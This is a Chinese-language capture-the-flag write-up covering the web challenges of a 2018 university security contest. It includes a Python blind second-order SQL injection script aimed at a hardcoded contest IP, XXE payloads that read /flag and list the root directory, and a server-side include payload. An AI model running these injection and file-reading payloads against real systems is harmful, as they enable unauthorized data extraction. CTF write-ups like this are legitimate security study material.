0%

2018高校网络信息安全管理运维挑战赛Web_Writeup

前言

emmmm,很久没有好好的打比赛了,基本都是滑水,认真打的时候又被一些脑洞卡一天,难受,这次的题比较简单,所以Writeup也就简单些写了,可惜不会逆向,不然应该有那么点可能AK吧。

SimpleBBS

一个普通的BBS,进去随手在登入框输了个‘ ‘ ’就报错了,直接把SQL语句都爆出来了


甩sqlmap爆破,爆破的时候把level设置高一些,很多问我怎么他们没爆出来,应该就是因为level的原因吧。flag放在bbs库flag表flag字段里。

SimpleBlog

这道题目很明显是二次注入,由于很讨厌写注入的题,所以也是很后面才写,主要逻辑在于注册用户时我们插入SQL查询语句,登入后也在主页面提示分数为0什么的信息,所以在Final Exam页面测试,如果返回值显示的分数为非0,那么则表示注入的查询语句查询正确,若返回显示的分数为0,则说明查询失败,所以典型的盲注了,构造payload:’ or if((ascii(substr((select flag from flag),1,1))=1),1,0)=’1’ or ‘ 作为注册用户名,这里坑了一下,刚开始用的是 and,在insert的时候 and 和 && 不会当作逻辑运算符执行,所以用 or 或者 || ,写个盲注脚本就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import string
import requests

result = ""
url = 'http://210.32.4.20/register.php'
url_2 = 'http://210.32.4.20/login.php'
url_3 = 'http://210.32.4.20/answer.php'
for i in range(1,50):
for j in range(32,126):
ss=requests.session()
payload = "\' or if((ascii(substr((select flag from flag)," + str(i) + ",1))=" + str(j) + "),1,0)='1' or \'"
post_an = {'1.a':'on'}
post_data = {'username':payload,'password':'123'}
r = ss.post(url=url,data=post_data)
login = ss.post(url=url_2,data=post_data)
an = ss.post(url=url_3,data=post_an)
if 'Your grades is 0' not in an.content:
e = chr(j)
result = result + e
print result
break

SimpleExtensionExplorerInjection

题目写得很清楚这题是XXE的点,所以先抓一个http request包


application/json应该都很熟悉了,把json改成xml进行XXE注入,参考文章:https://landgrey.me/XMLBeam-XXE-Simple-Analysis/,发现构造:

1
2
3
4
<root>
<name>Cyc1e</name>
<age>11</age>
</root>

时有一样的回显,那么就是CVE-2018-1259的洞了,构造payload:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<root>
<name>&xxe;</name>
</root>

SimplePrintEventLogger

这道题算非预期了,出题人木有把两个题目分开,所以导致捡漏了,看题目描述是同一个组件造成的RCE,那解法应该是参考:https://trex-tbag.github.io/2018/04/14/spring-data-common-cve/(没有去复现尝试)。
由于和上一题共用同一个环境,flag都放在根目录下,那也就是文件名的问题,但是XXE是可以列目录的,构造payload:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///" >]>
<root>
<name>&xxe;</name>
</root>

可以直接列出更目录,很清楚的,RCE这题的flag就摆在这了,捡漏捡漏。

SimpleServerInjection

题目提示为SSI,刚开始看成了SSTI,一直在怒怼PHP的模版注入,坑了我好一段时间……既然是SSI,那就可以利用include来尝试包含本地文件

我们利用include virtual,构造payload:

1
name=<!--%23include virtual="flag" -->

就可以得到flag,这里主要在于#号需要urlencode一下。

SimpleWasmReverse

这题最后卡wasm逆向上了,蛮写写思路

把flag.js下载到本地分析,可以看到调用了一个flag.wasm文件

)可以下载到flag.wasm进行分析,找到了一篇类似题目的writeup:https://tipi-hack.github.io/2018/04/01/quals-NDH-18-assemblyme.html,参照题目进行js调试判断调用函数,在check()函数上下断点跟进,可以看到调用了wasm中的$func53函数

所以接下来要做的主要就是反编译wasm文件,找到$func53函数进行分析,奈何wasm反编译后是3M的C源码。。。。。。而且变量名都变了,作为一个逆向只好爆破什么的来说,到这就放弃了,思路肯定是没毛病的了,分析调用的函数就可以的到flag{xxxxxx},页面提交就可以得到flag的吧,坐等Writeup

题目相对比较简单,差一题ak比较可惜,不过也不会逆向,木有办法,仅供学习。